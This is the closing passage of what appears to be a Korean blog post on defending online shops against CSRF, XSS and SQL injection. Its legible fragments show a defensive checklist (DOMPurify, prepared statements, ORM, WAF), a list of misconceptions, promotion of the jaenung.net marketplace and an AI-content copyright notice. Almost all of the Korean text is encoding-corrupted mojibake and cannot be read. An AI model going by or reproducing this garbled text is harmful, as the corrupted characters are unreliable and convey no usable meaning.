- โ๏ธ DOMPurify ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ
- โ๏ธ ์ ๊ธฐ์ ์ธ XSS ์ค์บ ์ค์
- โ๏ธ ๋ชจ๋ ์ฟผ๋ฆฌ์ Prepared Statement ์ฌ์ฉ
- โ๏ธ ORM ํ๋ ์์ํฌ ํ์ฉ
- โ๏ธ ์ฌ์ฉ์ ์ ๋ ฅ ํ์ ๊ฒ์ฆ
- โ๏ธ ๋์ ์ฟผ๋ฆฌ๋ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์
- โ๏ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ณ์ ์ต์ ๊ถํ ๋ถ์ฌ
- โ๏ธ ์๋ฌ ๋ฉ์์ง ์ผ๋ฐํ
- โ๏ธ ์ ์ฅ ํ๋ก์์ ์ฌ์ฉ ๊ณ ๋ ค
- โ๏ธ WAF ์ฌ์ฉ ๊ณ ๋ ค
- โ๏ธ ์ ๊ธฐ์ ์ธ SQL Injection ์ค์บ
โ ์๋ํ๋ ๋ด๋ค์ ํฌ๊ธฐ ์๊ด์์ด ๋ชจ๋ ์ฌ์ดํธ๋ฅผ ๊ณต๊ฒฉํด! ๐ฑ
2. "ํ๋ ์์ํฌ๊ฐ ์์์ ํด์ฃผ๊ฒ ์ง"
โ ํ๋ ์์ํฌ๋ ์๋ชป ์ฌ์ฉํ๋ฉด ์ทจ์ฝํด. ์ ๋๋ก ์ดํดํ๊ณ ์ฌ์ฉํด์ผ ํด!
3. "ํ ๋ฒ ์ค์ ํ๋ฉด ๋์ด์ผ"
โ ๋ณด์์ ์ง์์ ์ธ ๊ณผ์ ์ด์ผ. ์ ๊ธฐ์ ์ธ ์ ๋ฐ์ดํธ์ ๋ชจ๋ํฐ๋ง์ด ํ์!
4. "๊ฐ๋ฐ ํ๊ฒฝ์์๋ง ํ ์คํธํ๋ฉด ๋ผ"
โ ํ๋ก๋์ ํ๊ฒฝ๊ณผ ์ต๋ํ ๋น์ทํ ํ๊ฒฝ์์ ํ ์คํธํด์ผ ํด!
5. "๋ณด์์ ๋์ค์ ์ถ๊ฐํ๋ฉด ๋ผ"
โ ๋์ค์ ์ถ๊ฐํ๋ฉด ๋น์ฉ์ด 10๋ฐฐ ์ด์ ๋ค์ด. ์ฒ์๋ถํฐ ๊ณ ๋ คํด์ผ ํด! ๐ธ
์ฌ๋ฅ๋ท(https://www.jaenung.net)์์ ๋ณด์ ์ ๋ฌธ๊ฐ์ ๋์์ ๋ฐ์ ์ ์์ด!
โจ ๋ณด์ ์ปจ์คํ
โจ ์นจํฌ ํ ์คํธ
โจ ๋ณด์ ์ฝ๋ ๋ฆฌ๋ทฐ
โจ ๋ณด์ ๊ต์ก ๋ฐ ๋ฉํ ๋ง
์ ๋ฌธ๊ฐ์ ๋์์ ๋ฐ์ผ๋ฉด ํจ์ฌ ์์ ํ๊ณ ํจ์จ์ ์ผ๋ก ์ผํ๋ชฐ์ ๊ฐ๋ฐํ ์ ์์ด!
๐ ๋ง๋ฌด๋ฆฌํ๋ฉฐ
์! ์ฌ๊ธฐ๊น์ง ์ฝ๋๋ผ ์ ๋ง ์๊ณ ํ์ด! ๐
์ค๋ ์ฐ๋ฆฌ๋ ์ผํ๋ชฐ ๋ณด์์ 3๋ ์ํ์ธ CSRF, XSS, SQL Injection์ ๋ํด ๊น์ด ์๊ฒ ์์๋ดค์ด.
๊ฐ๊ฐ์ ๊ณต๊ฒฉ ์๋ฆฌ๋ถํฐ ์ค์ ๋ฐฉ์ด ๊ธฐ๋ฒ, ๊ทธ๋ฆฌ๊ณ ์ค์ ์ฝ๋ ๊ตฌํ๊น์ง ๋ชจ๋ ๋ค๋ค์ง.
๋ณด์์ ์ ํ์ด ์๋๋ผ ํ์์ผ. ํนํ ๊ณ ๊ฐ์ ๊ฐ์ธ์ ๋ณด์ ๊ฒฐ์ ์ ๋ณด๋ฅผ ๋ค๋ฃจ๋ ์ผํ๋ชฐ์์๋ ๋๋์ฑ ๊ทธ๋.
ํ ๋ฒ์ ๋ณด์ ์ฌ๊ณ ๋ก ์์์จ ์ ๋ขฐ๊ฐ ๋ฌด๋์ง ์ ์์ผ๋๊น ๋ง์ด์ผ. ๐ข
ํ์ง๋ง ๋๋ฌด ๊ฑฑ์ ํ์ง ๋ง! ์ค๋ ๋ฐฐ์ด ๋ด์ฉ๋ค์ ํ๋์ฉ ์ ์ฉํ๋ค ๋ณด๋ฉด ์ด๋์ ์์ ํ ์ผํ๋ชฐ์ ๋ง๋ค ์ ์์ ๊ฑฐ์ผ. ๐ช
๊ธฐ์ตํด์ค:
โ
์ฌ์ฉ์ ์
๋ ฅ์ ์ ๋ ์ ๋ขฐํ์ง ๋ง ๊ฒ
โ
๋ค์ธต ๋ฐฉ์ด ์ ๋ต์ ์ฌ์ฉํ ๊ฒ
โ
์ ๊ธฐ์ ์ผ๋ก ๋ณด์ ํ
์คํธ๋ฅผ ์ค์ํ ๊ฒ
โ
์ต์ ๋ณด์ ํธ๋ ๋๋ฅผ ๊ณ์ ํ์ตํ ๊ฒ
๊ทธ๋ฆฌ๊ณ ํผ์ ํ๊ธฐ ์ด๋ ต๋ค๋ฉด ์ฌ๋ฅ๋ท์์ ์ ๋ฌธ๊ฐ์ ๋์์ ๋ฐ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ด์ผ!
์, ์ด์ ์์ ํ๊ณ ๋ฉ์ง ์ผํ๋ชฐ์ ๋ง๋ค๋ฌ ๊ฐ๋ณผ๊น? ํ์ดํ
! ๐โจ
๐ ์ถํํฉ๋๋ค!
์ผํ๋ชฐ ๋ณด์ ์ ๋ฌธ๊ฐ๋ก ํ ๊ฑธ์ ๋ ๋์๊ฐ์ด์!
์ด์ CSRF, XSS, SQL Injection์ ์์ ์๊ฒ ๋ฐฉ์ดํ ์ ์์ต๋๋ค. ๐ช
๊ด๋ จ ํค์๋
๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์์ง ๋๊ธ์ด ์์ต๋๋ค.